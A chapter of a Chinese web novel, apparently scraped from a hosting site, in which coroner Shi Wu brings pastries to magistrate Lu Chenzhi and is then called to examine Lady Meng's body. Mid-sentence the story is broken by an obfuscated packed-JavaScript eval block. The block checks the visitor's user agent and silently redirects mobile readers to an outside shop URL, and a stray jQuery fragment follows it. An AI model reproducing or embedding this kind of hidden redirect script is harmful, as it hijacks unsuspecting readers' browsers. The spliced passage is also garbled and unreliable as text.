文趣网 > 其他小说 > 俏县官与疯仵作 > 27. 春日宴(四)
    时舞正在院儿里分点心的时候,恰巧被路过的陆沉之看见了。

    不过他只看了几人一眼后便默默回了房,只剩大家伙愣在原地面面相觑。

    须臾后,还是翁元正率先打破了沉默,“十五啊,你给陆大人留了点心没?”

    时舞举到嘴边的手忽地一顿,她摇了摇头,“他应是不喜欢吃这些吧。”

    翁元正叹了口气,放下点心,拍掉手上的残渣,递了个盘子给时舞,“你这丫头也太不懂事了,你管他喜不喜欢吃,只管尽自己一份心意就是。”

    时舞歪起嘴角,抗拒道:“没必要吧,陆县令他最不喜奉承这一套了。”

    别到时候,偷鸡不成反蚀把米就得不偿失了。

    “你还是太年轻了些。这世上没人不喜欢奉承,只看你有没有用对法子。”翁元正又道,“就拿这点心来说,我们拿去才叫奉承,而你去的话则叫感激。”

    时舞似懂非懂,而更心急的项荣则早已将点心堆满了盘子,将她推着往陆沉之院子里走,“你就听翁县丞的吧,他又不会害你。”

    “行吧,那我给陆大人送点过去.......”

    时舞还在犹豫的时候,抬头却见众人纷纷朝她扬着手,催促着她赶紧给陆沉之送过去。

    那动作整齐划一得像是商量好了似的。时舞怀疑他们就是想把她支开,然后独吞那些美味的点心。

    时舞站在陆沉之屋外,踌躇良久后才终于鼓起勇气叩响了门。

    她的手还没来得及收回,房门便从里面拉开了。陆沉之看到时舞后,神情依旧淡然,一点儿也未感到意外。

    时舞挤出一个僵硬的笑容,双手端着盘子举到陆沉之面前,“大人,我带了好多好吃的点心回来,您要尝尝吗?”

    陆沉之垂眸扫了眼盘中的点心,又将目光上移,定定地看着时舞,嘴角不经意地一撇,“难得你还能想到我。”

    时舞微怔,听他这语气怎么像是在生气?

    于是又赶紧赔笑道:“当然了。若不是您让我去赴宴的话,我哪能吃到这些美味的糕点啊,大人的情我可记得真真儿的。”

    陆沉之轻哼了一声,显然不信她的话,但他还是侧开身让了路。

    时舞明白,这是让她送进屋放桌上的意思。

    她也照做了。只是她刚想退出去的时候,身后的陆沉之忽然开口了,“今日耍得开心吗?”

    时舞转身看着他,嘿嘿笑道:“当然开心了。”虽然发生了件令人不悦的事,但与那些美味佳肴比起来,简直不足为道。

    “是吗?那席间可发生了什么趣事儿,可否讲与我听听?”陆沉之走到桌边坐下,拿起一块玉兰酥放在鼻前闻了闻,然后才轻轻咬下一口。

    时舞悄然抬起的脚尖又落了回去,不解他今日为何有此闲情雅性问起这些了。

    “倒也没什么。”时舞背着手,一步一步踱回桌边,她在陆沉之对面坐下,与他说起了今日无端撞破贺淮章的丑事。

    “孟夫人多好的一个人啊。”时舞耷拉着脑袋,像被霜打了似的,蔫儿蔫儿的,好像她才是那个被辜负了的人。

    “我听说,这门婚事还是贺淮章在孟老爷面前跪了整整三天才求来的,而今才过去短短十五载,就已新人换旧人了。”时舞不禁唏嘘。

    时舞颓然地趴在桌上,伸手从盘子里拿了块点心,怅然道:“大人您说,这世上还有那种独一无二、忠贞不渝的爱情吗?”

    陆沉之垂眸看了眼手中的点心,“举案齐眉的倒是见过不少,至于独一无二......”

    陆沉之摇了摇头,以他的成长环境来说,男人在后宅养几个小妾并不是什么稀奇事。

    时舞长长地叹了口气,在她心目中,陆沉之算得个品行端正的谦谦君子,若是连他都这样想的话,那这世上定然就没有全心全意唯爱妻子一人的男人了。

    “还好我没有要成亲的打算。”时舞忽的又坐直了身子,“我才不要做那种每天都围着男人转,成日只想着跟别的女人争风吃醋的可怜人。”

    陆沉之闻言,抬眸定定地看了时舞半晌,直到盯得时舞浑身不自在,她才忍不住反问了一句,“怎么,我说错什么了吗?”

    陆沉之摇头,只道:“你这话未免说得太早了些,你就怎知你以后不会为了心爱之人而委曲求全?”

    “那还不如让我死了算了。”时舞想也不想地回道。

    “有志气。”陆沉之朝她竖起了大拇指。

    时舞骄傲地昂起了头,然后给了陆沉之一句忠告,“倒是大人以后娶了妻可别像贺淮章那样,只听新人笑不闻旧人哭。就算做不到一碗水端平,好歹也要给予妻子起码的尊重不是?”

    “受教!”陆沉之抱拳道。

    时舞满意地点了点头,“时间也不早了,那我就先回了。”时舞起身告辞,又顺手从盘子里拿了块点心走。

    陆沉之微微颔首,目送时舞出门后,又将视线回落到那个空荡荡的盘子上。

    好嘛,六块点心,她吃了四块,还顺走一块。

    陆沉之起身过去关门,看着时舞蹦跳着远去的背影,无奈笑了。

    许是在宴席上喝了点酒的缘故,时舞这夜睡得格外的香。原本睡到辰时就会自然醒来的她,这一日,是被彩儿从床上强行薅起来的。

    “别睡了,十五,大人叫你赶紧过去呢。”彩儿掀开被子,将时舞拉坐起来,用力摇着她的肩膀。

    “啊?去哪儿?”时舞的眼皮重得抬不起来。

    “我刚才说了那么多,你是一个字都没听进去啊。”彩儿叹气。

    “啊?你说什么?”时舞还在说着梦话。

    彩儿累得想歇口气,可她刚一松手,时舞便又倒在了床上。无奈,她只得挠起了时舞的咯吱窝。

    “啊哈哈!”时舞猛地从床上坐起来,双手环抱在胸前,警惕地看着彩儿。

    彩儿起身从衣架上拿了衣裳扔在时舞头上,双手叉腰站在床前,催促道:“大人他们先走了,叫你赶紧过去。”

    “去哪儿啊?”时舞一边穿衣裳一边问。

    “贺家。”

    “哪个贺家?”

    “还有哪个贺家?就是你昨日去过的那家。”彩儿道,“听说他们家夫人死了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541648|202450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    时舞的手猛然顿住,她不可置信地看着彩儿,“你是说孟夫人死了?”

    彩儿回道:“那我就不清楚了。”

    “他们家有很多个夫人吗?”

    时舞想了想,除了孟宛柔,好像还有个老夫人,是贺淮章的母亲。

    时舞的心慌张得砰砰直跳,她多希望彩儿口中的“夫人”不是孟宛柔,可直觉又告诉她,极有可能真就是孟宛柔死了。

    思及此,她连洗漱都免了,趿拉着鞋子就往外面冲。

    从殓房拿了箱笼后,又马不停蹄地往贺家赶去。

    当时舞踏进贺家的那一刻,她便知自己所担心的终究还是变成了真。

    整个贺家一片肃然,丫鬟仆人们远远地躲在廊下,抻着脖子探着这边的情况,时而又低声议论几句,直到管事出来喝了一声,众人才陆续散去。

    时舞顺着指引径自到了后宅,她刚踏进院子,便听到屋子里传来阵阵悲怆的哭声。

    时舞绷紧了后背,心也跟着提了起来。她实在无法接受,昨日还言笑晏晏地跟大家谈天说地的孟宛柔,今日就变成了一具冷冰冰的尸体。

    “你来了。”陆沉之回头看到了怔在门口的时舞。

    时舞忽地回过神来,冲陆沉之点了点头,才重新抬起沉重步子慢慢朝孟宛柔的尸身走去。

    孟宛柔死在她的卧房。她俯卧在屋子中央,头朝着门口的方向,她的右手捂在胸部,左手枕在头下,脸也顺势偏向右边。

    她的嘴角挂着一丝干涸的血迹,双目微睁,似是死不瞑目。

    时舞扫了眼屋中人,发现哭得最厉害的竟是贺淮章。他坐在孟宛柔尸身丈远之处的地上,哭得涕泗横流。他身后,坐着个一脸严肃的老妪,想来应是贺淮章的母亲。

    而老妪身后,站着的便是那个叫泠月的女子,她脸上亦流露出一丝愁容。

    与他们三人相隔几尺外站着一男一女,男人的面容与孟宛柔有几分相似,想来是她的娘家人。

    时舞看了陆沉之一眼,后者立马会意,上前一步道:“本衙仵作需对孟夫人尸身作初步检验,还请诸位移步到外面等候。”

    贺淮章的反应很大,他质问陆沉之:“你们要对我夫人做什么?”

    陆沉之耐心解释道:“只是看下贵夫人的伤口,以便后续的调查。”

    贺淮章却以为时舞要对孟宛柔剖尸,当即就要扑过去阻拦,好在被项荣和屈广两人及时架住了。

    “你们,你们休想动我夫人一根汗毛。”贺淮章冲着陆沉之喊道,“只要我有一口气在,就绝不允许你们在我夫人身上动刀。”

    贺淮章母亲也在一旁帮腔道:“是啊,大人,我儿媳都已经死了,就给她留个清净,让她体面的下葬吧。”

    “既是凶杀案,便不能草率以对。”陆沉之锵然道,“况且,我们现在只是做初步的检验,并非要剖尸。”

    “哦,不是剖尸就好。”贺母松了口气。

    “——至于后续会不会剖尸检验,需看情况而定。”

    陆沉之话音未落,贺淮章母子的脸色便倏地黑了下来。